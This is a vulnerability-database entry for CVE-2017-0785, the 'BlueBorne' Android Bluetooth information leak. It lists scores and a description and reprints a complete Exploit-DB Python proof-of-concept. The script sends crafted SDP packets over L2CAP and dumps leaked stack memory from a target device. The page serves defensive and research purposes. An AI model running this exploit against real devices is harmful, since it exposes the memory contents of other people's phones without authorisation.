CVE-2017-0785

medium

Published 2017-09-14 · Modified 2026-05-13

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CVSS v3

6.5

CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

7.5

Description

A information disclosure vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146698.

Predictions

Exploit likelihood

65%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44555 remote android python · 1 KB

Kert Ojasoo · 2017-09-20

Android Bluetooth - 'Blueborne' Information Leak (2)

python exploit Source: Exploit-DB

from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()

target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30

def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()

p.success('Done')

print hexdump(stack)

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.